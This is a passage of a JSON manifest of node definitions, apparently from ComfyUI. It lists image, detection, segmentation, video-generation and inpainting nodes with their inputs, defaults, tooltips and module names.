"experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["expression", "formula", "calculate", "calculator", "eval", "math"], "essentials_category": null, "has_intermediate_output": false}, "ComfyNumberConvert": {"input": {"required": {"value": ["INT,FLOAT,STRING,BOOLEAN", {"display_name": "value"}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["FLOAT", "INT"], "output_is_list": [false, false], "output_name": ["FLOAT", "INT"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ComfyNumberConvert", "display_name": "Convert Number", "description": "", "python_module": "comfy_extras.nodes_number_convert", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["int to float", "float to int", "number convert", "int2float", "float2int", "cast", "parse number", "string to number", "bool to int"], "essentials_category": null, "has_intermediate_output": false}, "Painter": {"input": {"required": {"mask": ["STRING", {"widgetType": "PAINTER", "image_upload": true, "default": "", "socketless": true, "multiline": false}], "width": ["INT", {"hidden": true, "default": 512, "socketless": true, "min": 64, "max": 4096, "step": 64}], "height": ["INT", {"hidden": true, "default": 512, "socketless": true, "min": 64, "max": 4096, "step": 64}], "bg_color": ["COLOR", {"default": "#000000", "socketless": true}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional base image to paint over"}]}}, "input_order": {"required": ["mask", "width", "height", "bg_color"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Painter", "display_name": "Painter", "description": "", "python_module": "comfy_extras.nodes_painter", "category": "image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": true}, "CurveEditor": {"input": {"required": {"curve": ["CURVE", {"default": {"points": [[0.0, 0.0], [1.0, 1.0]], "interpolation": "monotone_cubic"}, "socketless": true}]}, "optional": {"histogram": ["HISTOGRAM", {}]}}, "input_order": {"required": ["curve"], "optional": ["histogram"]}, "is_input_list": false, "output": ["CURVE"], "output_is_list": [false], "output_name": ["curve"], "output_tooltips": [null], "output_matchtypes": null, "name": "CurveEditor", "display_name": "Curve Editor", "description": "", "python_module": "comfy_extras.nodes_curve", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageHistogram": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["HISTOGRAM", "HISTOGRAM", "HISTOGRAM", "HISTOGRAM", "HISTOGRAM"], "output_is_list": [false, false, false, false, false], "output_name": ["rgb", "luminance", "red", "green", "blue"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "ImageHistogram", "display_name": "Image Histogram", "description": "", "python_module": "comfy_extras.nodes_curve", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoadBackgroundRemovalModel": {"input": {"required": {"bg_removal_name": ["COMBO", {"tooltip": "The model used to remove backgrounds from images", "multiselect": false, "options": []}]}}, "input_order": {"required": ["bg_removal_name"]}, "is_input_list": false, "output": ["BACKGROUND_REMOVAL"], "output_is_list": [false], "output_name": ["bg_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadBackgroundRemovalModel", "display_name": "Load Background Removal Model", "description": "", "python_module": "comfy_extras.nodes_bg_removal", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RemoveBackground": {"input": {"required": {"bg_removal_model": ["BACKGROUND_REMOVAL", {"tooltip": "Background removal model used to generate the mask"}], "image": ["IMAGE", {"tooltip": "Input image to remove the background from"}]}}, "input_order": {"required": ["bg_removal_model", "image"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["mask"], "output_tooltips": ["Generated foreground mask"], "output_matchtypes": null, "name": "RemoveBackground", "display_name": "Remove Background", "description": "Generates a foreground mask to remove the background from an image using a background removal model.", "python_module": "comfy_extras.nodes_bg_removal", "category": "image/background removal", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RTDETR_detect": {"input": {"required": {"model": ["MODEL", {"display_name": "model"}], "image": ["IMAGE", {"display_name": "image"}], "threshold": ["FLOAT", {"display_name": "threshold", "default": 0.5}], "class_name": ["COMBO", {"tooltip": "Filter detections by class. Set to 'all' to disable filtering.", "default": "all", "multiselect": false, "options": ["all", "person", "bicycle", "car", "motorcycle", "airplane", "bus", "train", "truck", "boat", "traffic light", "fire hydrant", "stop sign", "parking meter", "bench", "bird", "cat", "dog", "horse", "sheep", "cow", "elephant", "bear", "zebra", "giraffe", "backpack", "umbrella", "handbag", "tie", "suitcase", "frisbee", "skis", "snowboard", "sports ball", "kite", "baseball bat", "baseball glove", "skateboard", "surfboard", "tennis racket", "bottle", "wine glass", "cup", "fork", "knife", "spoon", "bowl", "banana", "apple", "sandwich", "orange", "broccoli", "carrot", "hot dog", "pizza", "donut", "cake", "chair", "couch", "potted plant", "bed", "dining table", "toilet", "tv", "laptop", "mouse", "remote", "keyboard", "cell phone", "microwave", "oven", "toaster", "sink", "refrigerator", "book", "clock", "vase", "scissors", "teddy bear", "hair drier", "toothbrush"]}], "max_detections": ["INT", {"display_name": "max_detections", "tooltip": "Maximum number of detections to return per image. In order of descending confidence score.", "default": 100}]}}, "input_order": {"required": ["model", "image", "threshold", "class_name", "max_detections"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["bboxes"], "output_tooltips": [null], "output_matchtypes": null, "name": "RTDETR_detect", "display_name": "Run Real-Time Detection (RT-DETR)", "description": "", "python_module": "comfy_extras.nodes_rtdetr", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bbox", "bounding box", "object detection", "coco"], "essentials_category": null, "has_intermediate_output": false}, "DrawBBoxes": {"input": {"required": {"bboxes": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}]}, "optional": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["bboxes"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["out_image"], "output_tooltips": [null], "output_matchtypes": null, "name": "DrawBBoxes", "display_name": "Draw BBoxes", "description": "", "python_module": "comfy_extras.nodes_rtdetr", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bbox", "bounding box", "object detection", "rt_detr", "visualize detections", "coco"], "essentials_category": null, "has_intermediate_output": false}, "FrameInterpolationModelLoader": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Select a frame interpolation model to load. Models must be placed in the 'frame_interpolation' folder.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["INTERP_MODEL"], "output_is_list": [false], "output_name": ["INTERP_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FrameInterpolationModelLoader", "display_name": "Load Frame Interpolation Model", "description": "", "python_module": "comfy_extras.nodes_frame_interpolation", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FrameInterpolate": {"input": {"required": {"interp_model": ["INTERP_MODEL", {}], "images": ["IMAGE", {}], "multiplier": ["INT", {"default": 2, "min": 2, "max": 16}]}}, "input_order": {"required": ["interp_model", "images", "multiplier"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FrameInterpolate", "display_name": "Run Frame Interpolation Model", "description": "", "python_module": "comfy_extras.nodes_frame_interpolation", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["rife", "film", "frame interpolation", "slow motion", "interpolate frames", "vfi"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_Detect": {"input": {"required": {"model": ["MODEL", {"display_name": "model"}], "image": ["IMAGE", {"display_name": "image"}], "threshold": ["FLOAT", {"display_name": "threshold", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "refine_iterations": ["INT", {"display_name": "refine_iterations", "tooltip": "SAM decoder refinement passes (0=use raw detector masks)", "default": 2, "min": 0, "max": 5}], "individual_masks": ["BOOLEAN", {"display_name": "individual_masks", "tooltip": "Output per-object masks instead of union", "default": false}]}, "optional": {"conditioning": ["CONDITIONING", {"display_name": "conditioning", "tooltip": "Text conditioning from CLIPTextEncode"}], "bboxes": ["BOUNDING_BOX", {"display_name": "bboxes", "tooltip": "Bounding boxes to segment within", "default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}], "positive_coords": ["STRING", {"display_name": "positive_coords", "tooltip": "Positive point prompts as JSON [{\"x\": int, \"y\": int}, ...] (pixel coords)", "forceInput": true, "multiline": false}], "negative_coords": ["STRING", {"display_name": "negative_coords", "tooltip": "Negative point prompts as JSON [{\"x\": int, \"y\": int}, ...] (pixel coords)", "forceInput": true, "multiline": false}]}}, "input_order": {"required": ["model", "image", "threshold", "refine_iterations", "individual_masks"], "optional": ["conditioning", "bboxes", "positive_coords", "negative_coords"]}, "is_input_list": false, "output": ["MASK", "BOUNDING_BOX"], "output_is_list": [false, false], "output_name": ["masks", "bboxes"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SAM3_Detect", "display_name": "SAM3 Detect", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sam3", "segment anything", "open vocabulary", "text detection", "segment"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_VideoTrack": {"input": {"required": {"images": ["IMAGE", {"display_name": "images", "tooltip": "Video frames as batched images"}], "model": ["MODEL", {"display_name": "model"}], "detection_threshold": ["FLOAT", {"display_name": "detection_threshold", "tooltip": "Score threshold for text-prompted detection.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "max_objects": ["INT", {"display_name": "max_objects", "tooltip": "Max tracked objects. Initial masks count toward this limit. 0 uses the internal cap of 64.", "default": 4, "min": 0, "max": 64}], "detect_interval": ["INT", {"display_name": "detect_interval", "tooltip": "Run detection every N frames (1=every frame). Higher values save compute.", "default": 1, "min": 1}]}, "optional": {"initial_mask": ["MASK", {"display_name": "initial_mask", "tooltip": "Mask(s) for the first frame to track (one per object)"}], "conditioning": ["CONDITIONING", {"display_name": "conditioning", "tooltip": "Text conditioning for detecting new objects during tracking"}]}}, "input_order": {"required": ["images", "model", "detection_threshold", "max_objects", "detect_interval"], "optional": ["initial_mask", "conditioning"]}, "is_input_list": false, "output": ["SAM3_TRACK_DATA"], "output_is_list": [false], "output_name": ["track_data"], "output_tooltips": [null], "output_matchtypes": null, "name": "SAM3_VideoTrack", "display_name": "Run SAM3 Video Track", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sam3", "video", "track", "propagate"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_TrackPreview": {"input": {"required": {"track_data": ["SAM3_TRACK_DATA", {"display_name": "track_data"}], "opacity": ["FLOAT", {"display_name": "opacity", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.05}], "fps": ["FLOAT", {"display_name": "fps", "default": 24.0, "min": 1.0, "max": 120.0, "step": 1.0}]}, "optional": {"images": ["IMAGE", {"display_name": "images"}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["track_data", "opacity", "fps"], "optional": ["images"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SAM3_TrackPreview", "display_name": "SAM3 Track Preview", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SAM3_TrackToMask": {"input": {"required": {"track_data": ["SAM3_TRACK_DATA", {"display_name": "track_data"}], "object_indices": ["STRING", {"display_name": "object_indices", "tooltip": "Comma-separated object indices to include (e.g. '0,2,3'). Empty = all objects.", "default": "", "multiline": false}]}}, "input_order": {"required": ["track_data", "object_indices"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["masks"], "output_tooltips": [null], "output_matchtypes": null, "name": "SAM3_TrackToMask", "display_name": "SAM3 Track to Mask", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSCAILToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 512, "min": 32, "max": 16384, "step": 32}], "height": ["INT", {"default": 896, "min": 32, "max": 16384, "step": 32}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "pose_strength": ["FLOAT", {"tooltip": "Strength of the pose latent.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "pose_start": ["FLOAT", {"tooltip": "Start step of the pose conditioning.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "pose_end": ["FLOAT", {"tooltip": "End step of the pose conditioning.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "video_frame_offset": ["INT", {"tooltip": "Cumulative output frame this chunk begins at. Wire from the previous chunk's video_frame_offset output.", "default": 0, "min": 0, "max": 16384, "step": 1}], "previous_frame_count": ["INT", {"tooltip": "Tail frames of previous_frames to anchor. SCAIL-2 trained at 5 (81-frame chunks, 76-frame step).", "default": 5, "min": 1, "max": 16384, "step": 4}]}, "optional": {"pose_video": ["IMAGE", {"tooltip": "Video used for pose conditioning. Will be downscaled to half the resolution of the main video."}], "pose_video_mask": ["IMAGE", {"tooltip": "SCAIL-2 only. Colored per-identity SAM3 mask video at the same resolution as pose_video."}], "replacement_mode": ["BOOLEAN", {"tooltip": "SCAIL-2 only. False = Animation Mode (pose_video_mask should have black background). True = Replacement Mode (pose_video_mask should have white background).", "default": false}], "reference_image": ["IMAGE", {"tooltip": "Reference image. The first image is the primary reference (composite all identities onto it). SCAIL-2: extra batch images are used as additional views (back view, close-up, occluded background), each needing a matching reference_image_mask in that identity's color."}], "reference_image_mask": ["IMAGE", {"tooltip": "SCAIL-2 only. Colored reference mask, batch matching reference_image (first = primary reference mask, rest = identity masks for the additional reference_image)."}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {"tooltip": "CLIP vision features for conditioning. Model is trained with stretch resize to aspect ratio."}], "previous_frames": ["IMAGE", {"tooltip": "SCAIL-2 only. Full decoded output of the previous chunk. Only the last previous_frame_count are used as the extension anchor."}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "pose_strength", "pose_start", "pose_end", "video_frame_offset", "previous_frame_count"], "optional": ["pose_video", "pose_video_mask", "replacement_mode", "reference_image", "reference_image_mask", "clip_vision_output", "previous_frames"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "video_frame_offset"], "output_tooltips": [null, null, "Empty latent of the generation size.", "Adjusted offset + length. Wire into the next chunk."], "output_matchtypes": null, "name": "WanSCAILToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_scail", "category": "model/conditioning/wan/scail", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SCAIL2ColoredMask": {"input": {"required": {"driving_track_data": ["SAM3_TRACK_DATA", {"tooltip": "SAM3 track of the driving pose video. Will be rendered into the pose_video_mask output."}], "object_indices": ["STRING", {"tooltip": "Comma-separated list of person indices to include (e.g. '0,2,3'). Applied to both reference and pose video masks. Empty = all.", "default": "", "multiline": false}], "sort_by": ["COMBO", {"tooltip": "Order in which palette colors are assigned to the tracked objects (applied to both reference and pose video so each identity keeps the same color). Objects that appear in earlier frames always come first; within a frame, left_to_right = leftmost object (by centroid at first appearance) gets the first color, area = biggest object (by mask area at first appearance) gets the first color; none = keep SAM3's order.", "default": "left_to_right", "multiselect": false, "options": ["none", "left_to_right", "area"]}], "replacement_mode": ["BOOLEAN", {"tooltip": "False = Animation Mode (pose_video_mask has black background, reference_image_mask has white background). True = Replacement Mode (pose_video_mask has white background, reference_image_mask has black background).", "default": false}]}, "optional": {"ref_track_data": ["SAM3_TRACK_DATA,MASK", {"display_name": "reference_masks", "tooltip": "SAM3 track of the reference image(s) (one identity per object, colored in batch order), or a plain MASK of the reference subject (rendered as a single identity)."}]}}, "input_order": {"required": ["driving_track_data", "object_indices", "sort_by", "replacement_mode"], "optional": ["ref_track_data"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE"], "output_is_list": [false, false], "output_name": ["pose_video_mask", "reference_image_mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SCAIL2ColoredMask", "display_name": "Create SCAIL-2 Colored Mask", "description": "", "python_module": "comfy_extras.nodes_scail", "category": "model/conditioning/wan/scail", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpticalFlowLoader": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Optical flow model to load. Files must be placed in the 'optical_flow' folder. Today only torchvision's raft_large.pth is supported.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["OPTICAL_FLOW"], "output_is_list": [false], "output_name": ["OPTICAL_FLOW"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpticalFlowLoader", "display_name": "Load Optical Flow Model", "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDQuadmaskPreprocess": {"input": {"required": {"mask": ["MASK", {}], "dilate_width": ["INT", {"tooltip": "Dilation radius for the primary mask region (0 = no dilation)", "default": 0, "min": 0, "max": 50, "step": 1}]}}, "input_order": {"required": ["mask", "dilate_width"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["quadmask"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDQuadmaskPreprocess", "display_name": "VOID Quadmask Preprocessor", "description": "", "python_module": "comfy_extras.nodes_void", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDInpaintConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "video": ["IMAGE", {"tooltip": "Source video frames [T, H, W, 3]"}], "quadmask": ["MASK", {"tooltip": "Preprocessed quadmask from VOIDQuadmaskPreprocess [T, H, W]"}], "width": ["INT", {"default": 672, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 384, "min": 16, "max": 16384, "step": 8}], "length": ["INT", {"tooltip": "Number of pixel frames to process. For CogVideoX-Fun-V1.5 (patch_size_t=2), latent_t must be even \u2014 lengths that produce odd latent_t are rounded down (e.g. 49 \u2192 45).", "default": 45, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["positive", "negative", "vae", "video", "quadmask", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "VOIDInpaintConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/conditioning/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDWarpedNoise": {"input": {"required": {"optical_flow": ["OPTICAL_FLOW", {"tooltip": "Optical flow model from OpticalFlowLoader (RAFT-large)."}], "video": ["IMAGE", {"tooltip": "Pass 1 output video frames [T, H, W, 3]"}], "width": ["INT", {"default": 672, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 384, "min": 16, "max": 16384, "step": 8}], "length": ["INT", {"tooltip": "Number of pixel frames. Rounded down to make latent_t even (patch_size_t=2 requirement), e.g. 49 \u2192 45.", "default": 45, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["optical_flow", "video", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["warped_noise"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDWarpedNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/latent/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDWarpedNoiseSource": {"input": {"required": {"warped_noise": ["LATENT", {"tooltip": "Warped noise latent from VOIDWarpedNoise"}]}}, "input_order": {"required": ["warped_noise"]}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDWarpedNoiseSource", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/latent/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDSampler": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDSampler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"tooltip": "The number of frames in the generated video. Should stay 149 for WanDancer.", "default": 149, "min": 1, "max": 16384, "step": 4}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {"tooltip": "The CLIP vision embeds for the first frame."}], "clip_vision_output_ref": ["CLIP_VISION_OUTPUT", {"tooltip": "The CLIP vision embeds for the reference image."}], "start_image": ["IMAGE", {"tooltip": "The initial image(s) to be encoded, can be any number of frames."}], "mask": ["MASK", {"tooltip": "Image conditioning mask for the start image(s). White is kept, black is generated. Used for the local generations."}], "audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length"], "optional": ["clip_vision_output", "clip_vision_output_ref", "start_image", "mask", "audio_encoder_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, "Empty latent."], "output_matchtypes": null, "name": "WanDancerVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "model/conditioning/wan/dancer", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerEncodeAudio": {"input": {"required": {"audio": ["AUDIO", {}], "video_frames": ["INT", {"default": 149, "min": 1, "max": 16384, "step": 4}], "audio_inject_scale": ["FLOAT", {"tooltip": "The scale for the audio features when injected into the video model.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["audio", "video_frames", "audio_inject_scale"]}, "is_input_list": false, "output": ["AUDIO_ENCODER_OUTPUT", "STRING"], "output_is_list": [false, false], "output_name": ["audio_encoder_output", "fps_string"], "output_tooltips": [null, "The calculated fps based on the audio length and the number of video frames. Used in the prompt."], "output_matchtypes": null, "name": "WanDancerEncodeAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "model/conditioning/wan/dancer", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerPadKeyframes": {"input": {"required": {"images": ["IMAGE", {}], "segment_length": ["INT", {"tooltip": "Length of this segment (usually 149 frames)", "default": 149, "min": 1, "max": 10000}], "segment_index": ["INT", {"tooltip": "Which segment this is (0 for first, 1 for second, etc.)", "default": 0, "min": 0, "max": 100}], "audio": ["AUDIO", {"tooltip": "Audio to calculate total output frames from and extract segment audio."}]}}, "input_order": {"required": ["images", "segment_length", "segment_index", "audio"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "AUDIO"], "output_is_list": [false, false, false], "output_name": ["keyframes_sequence", "keyframes_mask", "audio_segment"], "output_tooltips": ["Padded keyframe sequence", "Mask indicating valid frames", "Audio segment for this video segment"], "output_matchtypes": null, "name": "WanDancerPadKeyframes", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "image/video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerPadKeyframesList": {"input": {"required": {"images": ["IMAGE", {}], "segment_length": ["INT", {"tooltip": "Length of each segment (usually 149 frames)", "default": 149, "min": 1, "max": 10000}], "num_segments": ["INT", {"tooltip": "How many padded segments to emit as lists.", "default": 1, "min": 1, "max": 100}], "audio": ["AUDIO", {"tooltip": "Audio to slice for each emitted segment."}]}}, "input_order": {"required": ["images", "segment_length", "num_segments", "audio"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "AUDIO"], "output_is_list": [true, true, true], "output_name": ["keyframes_sequence", "keyframes_mask", "audio_segment"], "output_tooltips": ["Padded keyframe sequences", "Masks indicating valid frames", "Audio segment for each video segment"], "output_matchtypes": null, "name": "WanDancerPadKeyframesList", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "image/video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHiDreamO1LatentImage": {"input": {"required": {"width": ["INT", {"default": 2048, "min": 64, "max": 4096, "step": 32}], "height": ["INT", {"default": 2048, "min": 64, "max": 4096, "step": 32}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHiDreamO1LatentImage", "display_name": "Empty HiDream-O1 Latent Image", "description": "Empty pixel-space latent for HiDream-O1-Image. The model was trained at ~4 megapixels; lower resolutions go off-distribution and quality regresses noticeably. Trained resolutions: 2048x2048, 2304x1728, 1728x2304, 2560x1440, 1440x2560, 2496x1664, 1664x2496, 3104x1312, 1312x3104, 2304x1792, 1792x2304.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/latent/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HiDreamO1ReferenceImages": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference images. 1 image = instruction edit; 2-10 images = multi reference.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 1}}]}}, "input_order": {"required": ["positive", "negative", "images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "HiDreamO1ReferenceImages", "display_name": "HiDream-O1 Reference Images", "description": "Attach 1-10 reference images to conditioning, one for edit instructionor multiple for subject-driven personalization.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/conditioning/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HiDreamO1PatchSeamSmoothing": {"input": {"required": {"model": ["MODEL", {}], "start_percent": ["FLOAT", {"tooltip": "Sampling progress (0=start, 1=end) at which the blend turns ON.", "default": 0.8, "min": 0.0, "max": 1.0, "step": 0.01}], "end_percent": 